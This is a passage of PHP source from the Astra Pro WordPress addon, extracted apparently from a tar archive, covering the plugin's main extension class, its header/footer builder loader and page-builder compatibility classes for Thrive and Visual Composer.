instance */ private static $instance; /** * Member Variable * * @var options */ public static $options; /** * Control Value to use Checkbox | Toggle control in WP_Customize * * @var const control */ public static $switch_control; /** * Control Value to use Setting Group | Color Group in WP_Customize * * @var const control */ public static $group_control; /** * Control Value to use Selector control in WP_Customize * * @var const control */ public static $selector_control; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { // Activation hook. register_activation_hook( ASTRA_EXT_FILE, array( $this, 'activation_reset' ) ); // deActivation hook. register_deactivation_hook( ASTRA_EXT_FILE, array( $this, 'deactivation_reset' ) ); // Includes Required Files. $this->includes(); if ( is_admin() ) { add_action( 'admin_init', array( $this, 'min_theme_version__error' ) ); // Admin enqueue script alpha color picker. add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_color_picker_scripts' ) ); } add_action( 'init', array( $this, 'addons_action_hooks' ), 1 ); add_action( 'after_setup_theme', array( $this, 'setup' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'controls_scripts' ) ); add_action( 'customize_register', array( $this, 'customize_register_before_theme' ), 5 ); add_action( 'customize_register', array( $this, 'addon_customize_register' ), 99 ); add_action( 'customize_preview_init', array( $this, 'preview_init' ), 1 ); add_filter( 'body_class', array( $this, 'body_classes' ), 11, 1 ); // Load textdomain. add_action( 'plugins_loaded', array( $this, 'load_textdomain' ) ); add_action( 'plugins_loaded', array( $this, 'common_plugin_dependent_files' ) ); add_action( 'wpml_loaded', array( $this, 'wpml_compatibility' ) ); // add compatibility for custom layouts with polylang plugin. add_action( 'pll_init', array( $this, 'wpml_compatibility' ) ); // Astra Addon List filter. add_filter( 'astra_addon_list', array( $this, 'astra_addon_list' ) ); add_action( 'plugin_action_links_' . ASTRA_EXT_BASE, array( $this, 'action_links' ) ); // Redirect if old addon screen rendered. add_action( 'admin_init', array( $this, 'redirect_addon_listing_page' ) ); add_action( 'enqueue_block_editor_assets', array( $this, 'addon_gutenberg_assets' ), 11 ); add_filter( 'astra_svg_icons', array( $this, 'astra_addon_svg_icons' ), 1, 10 ); add_filter( 'bsf_show_versions_to_rollback_astra-addon', array( $this, 'astra_addon_rollback_versions_limit' ), 1, 10 ); } /** * Astra Addon action hooks * * @return void */ public function addons_action_hooks() { $activate_transient = get_transient( 'astra_addon_activated_transient' ); $deactivate_transient = get_transient( 'astra_addon_deactivated_transient' ); if ( false != $activate_transient ) { do_action( 'astra_addon_activated', $activate_transient ); delete_transient( 'astra_addon_activated_transient' ); } if ( false != $deactivate_transient ) { do_action( 'astra_addon_deactivated', $deactivate_transient ); delete_transient( 'astra_addon_deactivated_transient' ); } } /** * Add Body Classes * * @param array $classes Body Class Array. * @return array */ public function body_classes( $classes ) { // Current Astra Addon version. $classes[] = esc_attr( 'astra-addon-' . ASTRA_EXT_VER ); return $classes; } /** * Load Astra Pro Text Domain. * This will load the translation textdomain depending on the file priorities. * 1. Global Languages /wp-content/languages/astra-addon/ folder * 2. Local dorectory /wp-content/plugins/astra-addon/languages/ folder * * @since 1.0.0 * @return void */ public function load_textdomain() { // Default languages directory for Astra Pro. $lang_dir = ASTRA_EXT_DIR . 'languages/'; /** * Filters the languages directory path to use for Astra Addon. * * @param string $lang_dir The languages directory path. */ $lang_dir = apply_filters( 'astra_addon_languages_directory', $lang_dir ); // Traditional WordPress plugin locale filter. global $wp_version; $get_locale = get_locale(); if ( $wp_version >= 4.7 ) { $get_locale = get_user_locale(); } /** * Language Locale for Astra Pro * * @var $get_locale The locale to use. Uses get_user_locale()` in WordPress 4.7 or greater, * otherwise uses `get_locale()`. */ $locale = apply_filters( 'plugin_locale', $get_locale, 'astra-addon' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $mofile = sprintf( '%1$s-%2$s.mo', 'astra-addon', $locale ); // Setup paths to current locale file. $mofile_local = $lang_dir . $mofile; $mofile_global = WP_LANG_DIR . '/plugins/' . $mofile; if ( file_exists( $mofile_global ) ) { // Look in global /wp-content/languages/astra-addon/ folder. load_textdomain( 'astra-addon', $mofile_global ); } elseif ( file_exists( $mofile_local ) ) { // Look in local /wp-content/plugins/astra-addon/languages/ folder. load_textdomain( 'astra-addon', $mofile_local ); } else { // Load the default language files. load_plugin_textdomain( 'astra-addon', false, 'astra-addon/languages' ); } } /** * Show action links on the plugin screen. * * @param mixed $links Plugin Action links. * @return array */ public function action_links( $links = array() ) { $slug = 'astra'; $theme_whitelabelled_name = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra', 'name', false ); if ( false !== $theme_whitelabelled_name && ! empty( $theme_whitelabelled_name ) ) { $slug = Astra_Ext_White_Label_Markup::get_instance()->astra_whitelabelled_slug( 'astra' ); } $admin_base = is_callable( 'Astra_Menu::get_theme_page_slug' ) ? 'admin.php' : 'themes.php'; $action_links = array( 'settings' => '<a href="' . esc_url( admin_url( $admin_base . '?page=' . $slug ) ) . '" aria-label="' . esc_attr__( 'View Astra Pro settings', 'astra-addon' ) . '">' . esc_html__( 'Settings', 'astra-addon' ) . '</a>', ); return array_merge( $action_links, $links ); } /** * Activation Reset */ public function activation_reset() { add_rewrite_endpoint( 'partial', EP_PERMALINK ); // flush rewrite rules. flush_rewrite_rules(); //phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.flush_rewrite_rules_flush_rewrite_rules -- Used for specific cases and kept to minimal use. // Force check graupi bundled products. update_site_option( 'bsf_force_check_extensions', true ); if ( is_multisite() ) { $branding = get_site_option( '_astra_ext_white_label' ); } else { $branding = get_option( '_astra_ext_white_label' ); } if ( isset( $branding['astra-agency']['hide_branding'] ) && false != $branding['astra-agency']['hide_branding'] ) { $branding['astra-agency']['hide_branding'] = false; if ( is_multisite() ) { update_site_option( '_astra_ext_white_label', $branding ); } else { update_option( '_astra_ext_white_label', $branding ); } } do_action( 'astra_addon_activate' ); } /** * Deactivation Reset */ public function deactivation_reset() { // flush rewrite rules. flush_rewrite_rules(); //phpcs:ignore WordPressVIPMinimum.Functions.RestrictedFunctions.flush_rewrite_rules_flush_rewrite_rules -- Used for specific cases and kept to minimal use. } /** * Includes */ public function includes() { require_once ASTRA_EXT_DIR . 'classes/helper-functions.php'; require_once ASTRA_EXT_DIR . 'classes/class-astra-admin-helper.php'; require_once ASTRA_EXT_DIR . 'classes/astra-theme-compatibility-functions.php'; require_once ASTRA_EXT_DIR . 'classes/customizer/class-astra-addon-customizer.php'; require_once ASTRA_EXT_DIR . 'classes/modules/target-rule/class-astra-target-rules-fields.php'; require_once ASTRA_EXT_DIR . 'classes/modules/menu-sidebar/class-astra-menu-sidebar-animation.php'; require_once ASTRA_EXT_DIR . 'classes/class-astra-ext-extension.php'; require_once ASTRA_EXT_DIR . 'classes/class-astra-templates.php'; // White Lebel. require_once ASTRA_EXT_DIR . 'classes/class-astra-ext-white-label-markup.php'; // Page Builder compatibility base class. require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-page-builder-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-beaver-builder-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-divi-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-elementor-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-thrive-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-visual-composer-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-brizy-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-nginx-helper-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-run-cloud-helper-compatibility.php'; require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-gutenberg-compatibility.php'; // AMP Compatibility. require_once ASTRA_EXT_DIR . 'classes/compatibility/class-astra-addon-amp-compatibility.php'; if ( ASTRA_ADDON_BSF_PACKAGE ) { require_once ASTRA_EXT_DIR . 'admin/astra-rollback/class-astra-rollback-version.php'; require_once ASTRA_EXT_DIR . 'admin/astra-rollback/class-astra-rollback-version-manager.php'; } } /** * After Setup Theme */ public function setup() { if ( ! defined( 'ASTRA_THEME_VERSION' ) ) { return; } require_once ASTRA_EXT_DIR . 'classes/class-astra-icons.php'; if ( version_compare( ASTRA_THEME_VERSION, '3.1.0', '>=' ) ) { self::$switch_control = 'ast-toggle-control'; self::$group_control = 'ast-color-group'; self::$selector_control = 'ast-selector'; } else { self::$switch_control = 'checkbox'; self::$group_control = 'ast-settings-group'; self::$selector_control = 'select'; } require_once ASTRA_EXT_DIR . 'classes/class-astra-addon-builder-loader.php'; /** * Load deprecated filters. */ require_once ASTRA_EXT_DIR . 'classes/deprecated/deprecated-filters.php'; /** * Load deprecated actions. */ require_once ASTRA_EXT_DIR . 'classes/deprecated/deprecated-actions.php'; require_once ASTRA_EXT_DIR . 'classes/astra-common-functions.php'; require_once ASTRA_EXT_DIR . 'classes/class-astra-addon-update-filter-function.php'; require_once ASTRA_EXT_DIR . 'classes/astra-common-dynamic-css.php'; if ( function_exists( 'astra_addon_filesystem' ) ) { require_once ASTRA_EXT_DIR . 'classes/cache/class-astra-cache-base.php'; require_once ASTRA_EXT_DIR . 'classes/cache/class-astra-cache.php'; } require_once ASTRA_EXT_DIR . 'classes/class-astra-minify.php'; if ( function_exists( 'astra_addon_filesystem' ) ) { require_once ASTRA_EXT_DIR . 'classes/cache/class-astra-addon-cache.php'; } require_once ASTRA_EXT_DIR . 'classes/class-astra-ext-model.php'; } /** * Load Gutenberg assets */ public function addon_gutenberg_assets() { if ( ! defined( 'ASTRA_THEME_VERSION' ) ) { return; } $white_labelled_icon = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra', 'icon' ); if ( false !== $white_labelled_icon ) { $dark_active_variation = $white_labelled_icon; if ( false !== strpos( $white_labelled_icon, 'whitelabel-branding.svg' ) ) { $white_labelled_icon = ASTRA_EXT_URI . 'admin/core/assets/images/whitelabel-branding-dark.svg'; } wp_add_inline_style( 'astra-meta-box', '.components-button svg[data-ast-logo] * { display: none; } .components-button svg[data-ast-logo] { background-image: url( ' . esc_url( $white_labelled_icon ) . ' ) !important; background-size: 24px 24px; background-repeat: no-repeat; background-position: center; } button.components-button.is-pressed svg[data-ast-logo] { background-image: url( ' . esc_url( $dark_active_variation ) . ' ) !important; }' ); } // Gutenberg dynamic css for Astra Addon. require_once ASTRA_EXT_DIR . 'classes/class-addon-gutenberg-editor-css.php'; } /** * Enqueues the needed CSS/JS for the customizer. * * @since 1.0 * @return void */ public function controls_scripts() { // Enqueue Customizer React.JS script. $custom_controls_react_deps = array( 'astra-custom-control-plain-script', 'wp-i18n', 'wp-components', 'wp-element', 'wp-media-utils', 'wp-block-editor', ); wp_enqueue_script( 'astra-ext-custom-control-react-script', ASTRA_EXT_URI . 'classes/customizer/extend-controls/build/index.js', $custom_controls_react_deps, ASTRA_EXT_VER, true ); } /** * Customizer Preview Init * * @since 1.0.0 * @return void */ public function preview_init() { if ( SCRIPT_DEBUG ) { $js_path = 'assets/js/unminified/ast-addon-customizer-preview.js'; } else { $js_path = 'assets/js/minified/ast-addon-customizer-preview.min.js'; } $addons = Astra_Ext_Extension::get_enabled_addons(); wp_enqueue_script( 'astra-addon-customizer-preview-js', ASTRA_EXT_URI . $js_path, array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); wp_localize_script( 'astra-addon-customizer-preview-js', 'ast_enabled_addons', $addons ); } /** * Base on addon activation section registered. * * @since 1.0.0 * @param object $wp_customize customizer object. * @return void */ public function customize_register_before_theme( $wp_customize ) { if ( ! defined( 'ASTRA_THEME_VERSION' ) ) { return; } if ( ! class_exists( 'Astra_WP_Customize_Section' ) ) { wp_die( 'You are using an older version of the Astra theme. Please update the Astra theme to the latest version.' ); } $addons = Astra_Ext_Extension::get_enabled_addons(); // Update the Customizer Sections under Layout. if ( false != $addons['header-sections'] ) { $wp_customize->add_section( new Astra_WP_Customize_Section( $wp_customize, 'section-mobile-primary-header-layout', array( 'title' => __( 'Primary Header', 'astra-addon' ), 'section' => 'section-mobile-header', 'priority' => 10, ) ) ); } // Update the Customizer Sections under Typography. if ( false != $addons['typography'] ) { $wp_customize->add_section( new Astra_WP_Customize_Section( $wp_customize, 'section-header-typo-group', array( 'title' => __( 'Header', 'astra-addon' ), 'panel' => 'panel-typography', 'priority' => 20, ) ) ); add_filter( 'astra_customizer_primary_header_typo', function( $header_arr ) { $header_arr['section'] = 'section-header-typo-group'; return $header_arr; } ); } } /** * Register Customizer Control. * * @since 1.0.2 * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public function addon_customize_register( $wp_customize ) { if ( function_exists( 'WP_Customize_Themes_Panel' ) ) { $wp_customize->add_panel( new WP_Customize_Themes_Panel( $this, 'themes', array( 'title' => astra_get_theme_name(), 'description' => ( '<p>' . __( 'Looking for a theme? You can search or browse the WordPress.org theme directory, install and preview themes, then activate them right here.', 'astra-addon' ) . '</p>' . '<p>' . __( 'While previewing a new theme, you can continue to tailor things like widgets and menus, and explore theme-specific options.', 'astra-addon' ) . '</p>' ), 'capability' => 'switch_themes', 'priority' => 0, ) ) ); } } /** * WPML Compatibility. * * @since 1.1.0 */ public function wpml_compatibility() { require_once ASTRA_EXT_DIR . 'compatibility/class-astra-wpml-compatibility.php'; } /** * Common plugin dependent file which dependd on other plugins. * * @since 1.1.0 */ public function common_plugin_dependent_files() { // If plugin - 'Ubermenu' not exist then return. if ( class_exists( 'UberMenu' ) ) { require_once ASTRA_EXT_DIR . 'compatibility/class-astra-ubermenu-pro.php'; } } /** * Check compatible theme version. * * @since 1.2.0 */ public function min_theme_version__error() { $astra_global_options = get_option( 'astra-settings' ); if ( isset( $astra_global_options['theme-auto-version'] ) && ( version_compare( $astra_global_options['theme-auto-version'], ASTRA_THEME_MIN_VER ) < 0 ) && ( false !== get_theme_update_available( wp_get_theme( get_template() ) ) ) ) { $astra_theme_name = 'Astra'; if ( function_exists( 'astra_get_theme_name' ) ) { $astra_theme_name = astra_get_theme_name(); } $message = sprintf( /* translators: %1$1s: Theme Name, %2$2s: Minimum Required version of the Astra Theme */ __( 'Please update %1$1s Theme to version %2$2s or higher. Ignore if already updated.', 'astra-addon' ), $astra_theme_name, ASTRA_THEME_MIN_VER ); $min_version = get_user_meta( get_current_user_id(), 'theme-min-version-notice-min-ver', true ); if ( ! $min_version ) { update_user_meta( get_current_user_id(), 'theme-min-version-notice-min-ver', ASTRA_THEME_MIN_VER ); } if ( version_compare( $min_version, ASTRA_THEME_MIN_VER, '!=' ) ) { delete_user_meta( get_current_user_id(), 'theme-min-version-notice' ); update_user_meta( get_current_user_id(), 'theme-min-version-notice-min-ver', ASTRA_THEME_MIN_VER ); } if ( class_exists( 'Astra_Notices' ) ) { Astra_Notices::add_notice( array( 'id' => 'theme-min-version-notice', 'type' => 'warning', 'message' => $message, 'show_if' => true, 'repeat-notice-after' => false, 'priority' => 20, 'display-with-other-notices' => true, ) ); } } } /** * Modified Astra Addon List * * @since 1.2.1 * @param array $addons Astra addon list. * @return array $addons Updated Astra addon list. */ public function astra_addon_list( $addons = array() ) { $enabled_extensions = Astra_Ext_Extension::get_addons(); $extension_slugs = array_keys( $enabled_extensions ); $extension_slugs[] = 'white-label'; $whitelabelled = Astra_Ext_White_Label_Markup::show_branding(); foreach ( $addons as $addon_slug => $value ) { if ( ! in_array( $addon_slug, $extension_slugs ) ) { continue; } $class = 'deactive'; $links = isset( $addons[ $addon_slug ]['links'] ) ? $addons[ $addon_slug ]['links'] : array(); $links = $whitelabelled ? $links : array(); switch ( $addon_slug ) { case 'colors-and-background': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-colors-background' ), ); break; case 'typography': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-typography' ), ); break; case 'spacing': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php' ), ); break; case 'blog-pro': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-blog-group' ), ); break; case 'mobile-header': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[panel]=panel-header-group' ), ); break; case 'header-sections': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[panel]=panel-header-group' ), ); break; case 'sticky-header': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-sticky-header' ), ); break; case 'site-layouts': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-container-layout' ), ); break; case 'advanced-footer': $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-footer-group' ), ); break; case 'advanced-hooks': $links[] = array( 'link_class' => 'advanced-module', 'link_text' => ! $whitelabelled ? __( 'Settings', 'astra-addon' ) : __( ' | Settings', 'astra-addon' ), 'link_url' => admin_url( '/edit.php?post_type=astra-advanced-hook' ), ); break; case 'advanced-headers': $links[] = array( 'link_class' => 'advanced-module', 'link_text' => ! $whitelabelled ? __( 'Settings', 'astra-addon' ) : __( ' | Settings', 'astra-addon' ), 'link_url' => admin_url( '/edit.php?post_type=astra_adv_header' ), ); break; case 'nav-menu': $class .= ' nav-menu'; $links[] = array( 'link_class' => 'advanced-module', 'link_text' => ! $whitelabelled ? __( 'Settings', 'astra-addon' ) : __( ' | Settings', 'astra-addon' ), 'link_url' => admin_url( '/nav-menus.php' ), ); break; case 'white-label': $class = 'white-label'; $links = isset( $addons[ $addon_slug ]['links'] ) ? $addons[ $addon_slug ]['links'] : array(); $links[] = array( 'link_class' => 'advanced-module', 'link_text' => ! $whitelabelled ? __( 'Settings', 'astra-addon' ) : __( ' | Settings', 'astra-addon' ), 'link_url' => is_callable( 'Astra_Menu::get_theme_page_slug' ) ? admin_url( 'admin.php?page=' . Astra_Menu::get_theme_page_slug() . '&path=settings&settings=white-label' ) : '#', 'target_blank' => false, ); break; case 'woocommerce': $class .= ' woocommerce'; $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[panel]=woocommerce' ), ); break; case 'learndash': $class .= ' learndash'; $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-learndash' ), ); break; case 'lifterlms': $class .= ' lifterlms'; $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-lifterlms' ), ); break; case 'edd': $class .= ' edd'; $links[] = array( 'link_class' => 'customize-module', 'link_text' => ! $whitelabelled ? __( 'Customize', 'astra-addon' ) : __( ' | Customize', 'astra-addon' ), 'link_url' => admin_url( '/customize.php?autofocus[section]=section-edd-group' ), ); break; } $addons[ $addon_slug ]['links'] = $links; $addons[ $addon_slug ]['class'] = $class; // Don't show White Label tab if white label branding is hidden. if ( ! Astra_Ext_White_Label_Markup::show_branding() ) { unset( $addons['white-label'] ); } } return $addons; } /** * Astra Header Top Right info * * @since 1.2.1 */ public function astra_header_top_right_content() { $top_links = apply_filters( 'astra_header_top_links', // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound array( 'astra-theme-info' => array( 'title' => __( 'Stylish, Lightning Fast & Easily Customizable!', 'astra-addon' ), ), ) ); } /** * Redirect to astra welcome page if visited old Astra Addon Listing page * * @since 1.2.1 * @return void */ public function redirect_addon_listing_page() { global $pagenow; /* Check current admin page. */ if ( 'themes.php' == $pagenow && isset( $_GET['action'] ) && 'addons' == $_GET['action'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended wp_safe_redirect( admin_url( '/themes.php?page=astra' ), 301 ); exit; } } /** * Register Scripts & Styles on admin_enqueue_scripts hook. * As we moved to React customizer so registering the 'astra-color-alpha' script in addon as there is no use of that script in theme (apperently it removed from theme). * * @since 2.7.0 */ public function enqueue_color_picker_scripts() { wp_register_script( 'astra-color-alpha', ASTRA_EXT_URI . 'admin/assets/js/wp-color-picker-alpha.js', array( 'jquery', 'wp-color-picker' ), ASTRA_EXT_VER, true ); /** * Localize wp-color-picker & wpColorPickerL10n. * * This is only needed in WordPress version >= 5.5 because wpColorPickerL10n has been removed. * * @see https://github.com/WordPress/WordPress/commit/7e7b70cd1ae5772229abb769d0823411112c748b * * This is should be removed once the issue is fixed from wp-color-picker-alpha repo. * @see https://github.com/kallookoo/wp-color-picker-alpha/issues/35 * * @since 2.7.0 */ if ( function_exists( 'astra_addon_wp_version_compare' ) && astra_addon_wp_version_compare( '5.4.99', '>=' ) ) { // Localizing variables. wp_localize_script( 'wp-color-picker', 'wpColorPickerL10n', array( 'clear' => __( 'Clear', 'astra-addon' ), 'clearAriaLabel' => __( 'Clear color', 'astra-addon' ), 'defaultString' => __( 'Default', 'astra-addon' ), 'defaultAriaLabel' => __( 'Select default color', 'astra-addon' ), 'pick' => __( 'Select Color', 'astra-addon' ), 'defaultLabel' => __( 'Color value', 'astra-addon' ), ) ); } } /** * Load SVG Icon array from the JSON file. * * @param Array $svg_arr Array of svg icons. * @since 3.0.0 * @return Array addon svg icons. */ public function astra_addon_svg_icons( $svg_arr = array() ) { ob_start(); // Include SVGs Json file. include_once ASTRA_EXT_DIR . 'assets/svg/svgs.json'; $svg_icon_arr = json_decode( ob_get_clean(), true ); $ast_svg_icons = array_merge( $svg_arr, $svg_icon_arr ); return $ast_svg_icons; } /** * Add limit to show number of versions to rollback. * * @param integer $per_page per page count. * @return integer */ public function astra_addon_rollback_versions_limit( $per_page ) { return 6; } } } /** * Prepare if class 'Astra_Customizer_Loader' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Theme_Extension::get_instance(); class-astra-addon-builder-loader.php 0000666 00000003477 15165730730 0013473 0 ustar 00 <?php /** * Astra Addon Builder Loader. * * @package astra-builder */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Addon_Builder_Loader' ) ) { /** * Class Astra_Addon_Builder_Loader. */ final class Astra_Addon_Builder_Loader { /** * Member Variable * * @var instance */ private static $instance = null; /** * Initiator */ public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); do_action( 'astra_addon_builder_loaded' ); } return self::$instance; } /** * Constructor */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_EXT_DIR . 'classes/class-astra-addon-builder-loader.php'; /** * Builder - Header & Footer Markup. */ require_once ASTRA_EXT_DIR . 'classes/builder/markup/class-astra-addon-builder-header.php'; if ( true === astra_addon_builder_helper()->is_header_footer_builder_active ) { require_once ASTRA_EXT_DIR . 'classes/builder/markup/class-astra-addon-builder-footer.php'; } /** * Builder Controllers. */ require_once ASTRA_EXT_DIR . 'classes/builder/type/base/controllers/class-astra-addon-builder-ui-controller.php'; /** * Customizer - Configs. */ require_once ASTRA_EXT_DIR . 'classes/builder/class-astra-addon-builder-customizer.php'; require_once ASTRA_EXT_DIR . 'classes/builder/type/base/dynamic-css/class-astra-addon-base-dynamic-css.php'; } } /** * Prepare if class 'Astra_Addon_Builder_Loader' exist. * Kicking this off by calling 'get_instance()' method */ Astra_Addon_Builder_Loader::get_instance(); } compatibility/class-astra-addon-thrive-compatibility.php 0000666 00000005641 15165730730 0017615 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Thrive_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Thrive_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { if ( true === $this->is_thrive_builder_page( $post_id ) ) { return; } $current_post = get_post( $post_id, OBJECT ); // set the main wp query for the post. wp( 'p=' . $post_id ); $tve_content = apply_filters( 'the_content', $current_post->post_content ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( isset( $_REQUEST[ TVE_EDITOR_FLAG ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $tve_content = str_replace( 'id="tve_editor"', '', $tve_content ); } echo do_shortcode( $tve_content ); wp_reset_postdata(); } /** * Load styles and scripts. * * @param int $post_id Post id. * * @since 1.6.0 */ public function enqueue_scripts( $post_id ) { if ( true === $this->is_thrive_builder_page( $post_id ) ) { return; } if ( tve_get_post_meta( $post_id, 'thrive_icon_pack' ) && ! wp_style_is( 'thrive_icon_pack', 'enqueued' ) ) { TCB_Icon_Manager::enqueue_icon_pack(); } tve_enqueue_extra_resources( $post_id ); tve_enqueue_style_family( $post_id ); tve_enqueue_custom_fonts( $post_id, true ); tve_load_custom_css( $post_id ); add_filter( 'tcb_enqueue_resources', '__return_true' ); tve_frontend_enqueue_scripts(); remove_filter( 'tcb_enqueue_resources', '__return_true' ); } /** * Check if the page being rendered is the main ID on the editor page. * * @since 1.6.2 * @param String $post_id Post ID which is to be rendered. * @return boolean True if current if is being rendered is not being edited. */ private function is_thrive_builder_page( $post_id ) { $tve = ( isset( $_GET['tve'] ) && 'true' == $_GET['tve'] ) ? true : false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $post = isset( $_GET['post'] ) ? sanitize_text_field( $_GET['post'] ) : false; // phpcs:ignore WordPress.Security.NonceVerification.Recommended return ( true == $tve && $post_id !== $post ); } } endif; compatibility/class-astra-addon-visual-composer-compatibility.php 0000666 00000002014 15165730730 0021433 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Visual_Composer_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Visual_Composer_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { $current_post = get_post( $post_id, OBJECT ); echo do_shortcode( $current_post->post_content ); } } endif; compatibility/class-astra-addon-page-builder-compatibility.php 0000666 00000010153 15165730730 0020646 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Page_Builder_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Returns instance for active page builder. * * @param int $post_id Post id. * * @since 1.6.0 */ public function get_active_page_builder( $post_id ) { global $wp_post_types; $post = get_post( $post_id ); $post_type = get_post_type( $post_id ); if ( class_exists( '\Elementor\Plugin' ) ) { $document = Elementor\Plugin::$instance->documents->get( $post_id ); // phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ns_separatorFound if ( $document ) { $deprecated_handle = $document->is_built_with_elementor(); } else { $deprecated_handle = false; } if ( ( version_compare( ELEMENTOR_VERSION, '1.5.0', '<' ) && 'builder' === Elementor\Plugin::$instance->db->get_edit_mode( $post_id ) ) || $deprecated_handle ) { return Astra_Addon_Elementor_Compatibility::get_instance(); } } if ( defined( 'TVE_VERSION' ) && get_post_meta( $post_id, 'tcb_editor_enabled', true ) ) { return Astra_Addon_Thrive_Compatibility::get_instance(); } if ( class_exists( 'FLBuilderModel' ) && apply_filters( 'fl_builder_do_render_content', true, FLBuilderModel::get_post_id() ) && get_post_meta( $post_id, '_fl_builder_enabled', true ) ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound return 